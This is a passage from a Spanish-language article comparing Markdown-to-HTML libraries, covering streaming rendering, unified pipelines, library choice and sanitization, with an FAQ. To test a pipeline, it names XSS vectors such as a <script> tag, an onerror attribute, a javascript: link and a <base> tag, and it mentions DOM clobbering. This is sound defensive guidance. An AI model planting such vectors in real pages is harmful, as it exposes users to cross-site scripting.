recuento es impar, estás dentro de un bloque de código. O cierra ese bloque para el renderizado
intermedio, o renderiza la cola como un
<pre>plano hasta que llegue la valla de cierre real. Cualquiera de las dos es más estable que dejar que el analizador adivine. - Sanea cada renderizado, no el último. La lista blanca cuesta microsegundos contra una cola de unos cuantos cientos de caracteres. No hay versión de esto donde un renderizado parcial esté exento.
- Prefiere un renderizador de componentes si estás en React.
react-markdownreconcilia un DOM virtual contra el anterior y aplica solo la diferencia, que es precisamente el problema que crea el streaming, y por eso resiste bajo un flujo donde un bucle crudo coninnerHTMLno lo hace. - No cambies a un árbol de sintaxis esperando que ayude. unified también vuelve a analizar desde cero. Un árbol te compra transformaciones, no análisis incremental.
Cuando el flujo termina y tienes el texto final, renderízalo una vez más desde arriba, limpiamente. Ese último renderizado es el que se guarda, se copia o se exporta, y no debería llevar los compromisos que necesitaba el renderizado en vivo — convertir la salida de un modelo en una página que alguien pueda leer es un trabajo distinto de mostrarla mientras llega.
Dónde un árbol de sintaxis es la respuesta equivocada
La tubería unified es la opción más capaz aquí y recomendarla por defecto es el error más común en este tema. Cuesta más de lo que dicen sus defensores, de cuatro maneras.
Son siete dependencias antes de escribir una línea. unified, remark-parse, remark-gfm,
remark-rehype, rehype-raw, rehype-sanitize, rehype-stringify — cada una con su propio ritmo de
versiones, su propio registro de cambios y su propia versión mayor que en algún momento se moverá sin
las demás. marked es un paquete. En una aplicación con una revisión de seguridad, una política de
cadena de suministro o un lockfile que alguien realmente lee, siete contra uno es una cifra que sale a
la conversación.
Es solo ESM. Los paquetes lo dicen ellos mismos. En una compilación moderna eso no es un problema; en un servicio CommonJS, un bundler antiguo o un ejecutor de pruebas configurado hace años, es un día de trabajo que no tiene nada que ver con Markdown.
Es más lo que hay que resolver y ejecutar en el momento de importar. Siete paquetes y sus propias dependencias tienen que encontrarse y ejecutarse antes de que se analice el primer documento, donde marked es uno solo. No hemos medido la diferencia y no te pediríamos que confiaras en nuestro número si lo hubiéramos hecho; la forma del coste es lo que importa. En un servidor de larga duración se paga una vez y desaparece; en una función serverless se paga en cada arranque en frío, por región, para siempre.
Tiene una curva de aprendizaje real para una primera tarea pequeña. Añadir una clase a cada <h2>
significa saber que eso es un trabajo de hast, no de mdast, que quieres un plugin que devuelva un
transformador, que unist-util-visit es un paquete aparte, y que las propiedades de un nodo son
properties con className como array. La regla equivalente del renderer en markdown-it son cuatro
líneas y necesita un solo concepto. Si tu lista de transformaciones es «añadir ids a los encabezados»
y «añadir rel a los enlaces externos», ambas otras bibliotecas lo hacen sin un árbol, y habrás
instalado un compilador para cambiar dos cadenas de texto.
Lo contrario también es cierto, y es el fallo del que este artículo quiere avisar en la otra dirección:
si te encuentras ejecutando una expresión regular sobre HTML ya renderizado — sustituyendo <h2>,
buscando <a href=", contando <img — necesitabas el árbol y construiste uno peor. El HTML no es un
lenguaje regular, y cada una de esas sustituciones es correcta hasta que alguien escribe un bloque de
código que contiene la cadena que estabas buscando.
La posición honesta es que la mayoría de las páginas renderizan un documento, una vez, y nunca lo transforman. Para esas páginas la tubería es código de configuración que lees para siempre sin ninguna ganancia, y la respuesta correcta es la biblioteca pequeña más un sanitizador. Recurre a unified cuando puedas nombrar la transformación, no cuando sospeches que podrías querer una.
Cómo elegir
- Decide si vas a transformar el documento o solo a renderizarlo. Si una transformación existe en cualquier parte de tus requisitos, elige un árbol ahora, porque añadirlo después significa reescribir cada personalización que hiciste contra tokens o métodos del renderer.
- Empareja el dialecto con los archivos que realmente tienes. Convierte un documento real — uno con una tabla, una lista de tareas y una nota al pie — antes de comprometerte, porque una extensión que falta no da error, renderiza tu tabla como un párrafo de barras.
- Elige el sanitizador antes que el analizador. El sanitizador tiene que correr en cada sitio donde corre el analizador, y DOMPurify sin un DOM devuelve tu entrada sin cambios, así que esta restricción decide más sobre la forma de tu código que la elección del analizador.
- Cuenta los entornos de ejecución. Renderizar en el navegador y en el servidor significa una lista blanca importada por ambos, y una diferencia entre los dos aparece como un documento que se ve distinto cuando se comparte de cómo se veía cuando se escribió — lo que se lee como pérdida de datos para quien lo escribió.
- Nombra quién escribe la entrada. Si es tu propio equipo con acceso de commit, MDX y el HTML crudo están disponibles para ti. Si es cualquier otra persona, no lo están, y ningún cuidado en la configuración cambia esa respuesta.
- Mira qué vas a tener que sobrescribir. Escribe las cuatro cosas que ya sabes que necesitas — ids de encabezado, manejo de enlaces externos, resaltado de código, carga diferida de imágenes — y compara cada una con los puntos de extensión de la biblioteca antes de elegir, no después.
- Prueba con un archivo hostil, no con un README. Un documento que contenga
<script>, un atributoonerror, un enlacejavascript:y una etiqueta<base>cuesta un minuto escribir y te dice más sobre tu tubería que una semana renderizando tu propia documentación.
Qué hacer con esto
Escribe la lista blanca antes que el renderer, y llama al sanitizador dentro de la misma función que
el análisis, para que nadie pueda llegar a uno sin el otro. Sirve además la salida proporcionada por
usuarios bajo una política de seguridad de contenido: script-src 'none' no cuesta nada en una página
que siempre es solo un documento. Si la entrada es un archivo Word en vez de Markdown, eso es otra
biblioteca y otro conjunto de fallos — mammoth y los otros analizadores de docx
lo cubren. Después elige según la forma del problema y no según la popularidad de la respuesta: marked
para una cadena, markdown-it para un plugin, unified para un árbol, react-markdown para componentes, y
un sanitizador dedicado en los cuatro casos. Si necesitabas el HTML una vez en vez de una biblioteca en
tu paquete, esta conversión ejecuta los mismos dos pasos en tu navegador y devuelve un archivo
autocontenido.
Preguntas frecuentes
¿Qué es más rápido, marked o markdown-it?
No hemos ejecutado un benchmark y no deberías elegir según el de otra persona. Ambos son analizadores maduros escritos para el mismo trabajo, y en cualquier uso interactivo — un panel de vista previa, una caja de comentarios, una página — la diferencia no es algo que vayas a notar. Merece la pena medirlo cuando estás renderizando miles de documentos en una compilación, y en ese punto mide tus propios documentos, porque la respuesta depende de lo que contienen y no de una cifra en el README de un repositorio.
¿Es seguro usar marked con Markdown no confiable?
No por sí solo. Su README dice sin rodeos que no sanea su salida y te dirige a DOMPurify, sanitize-html
o insane (comprobado en github.com, 9 de septiembre de 2026). La antigua opción sanitize se ha
eliminado, así que el código que la pasa se ignora en silencio, lo cual es peor que no tener ninguna
protección porque parece protección.
¿Cómo añado ids a los encabezados para una tabla de contenidos?
En marked, sobrescribe el método heading del renderer o añade el paquete marked-gfm-heading-id. En
markdown-it, usa un plugin de anclas o sobrescribe la regla heading_open del renderer. En unified,
añade un plugin que recorra el árbol. Elijas lo que elijas, prefija el id — un id desnudo se convierte
en una propiedad con nombre en window, y un prefijo como doc- termina tanto con la colisión como
con el riesgo de clobbering.
¿Por qué mi tabla se renderiza como un párrafo de barras?
Las tablas no están en CommonMark, así que un análisis estrictamente conforme no produce una. Comprueba
gfm en marked, comprueba que no elegiste el preajuste commonmark en markdown-it, y comprueba que
remark-gfm está en tu tubería unified. El fallo es silencioso por diseño: una tabla que el analizador
no reconoce es un párrafo válido.
¿Necesito rehype-raw?
Solo si el Markdown contiene HTML crudo que quieres que se renderice. remark-rehype descarta el HTML
crudo en caso contrario, que es el comportamiento seguro por defecto. Si de todos modos lo añades,
necesitas también allowDangerousHtml en remark-rehype, y luego rehype-sanitize después de ambos
— el centro de esa secuencia es la parte donde existe un documento sin sanear.
¿Puedo usar estas bibliotecas en un navegador sin un bundler?
Sí. marked, markdown-it, micromark y snarkdown corren todas en un navegador y se pueden cargar desde un CDN como módulos ES. Los paquetes unified son solo ESM, lo que los hace sencillos como módulos e incómodos como una etiqueta script. Recuerda que un sanitizador también tiene que cargarse — un renderer solo en la página es el agujero del que trata este artículo.
¿Cuál es la diferencia entre remark y rehype?
Son dos mitades de la misma tubería que trabajan sobre dos árboles distintos. remark trabaja sobre
mdast, el árbol de Markdown, donde los nodos son encabezados, listas y enlaces. rehype trabaja sobre
hast, el árbol de HTML, donde los nodos son elementos con nombres de etiqueta y propiedades.
remark-rehype es el puente, y saber en qué lado vive tu problema es la mayor parte de aprender
unified.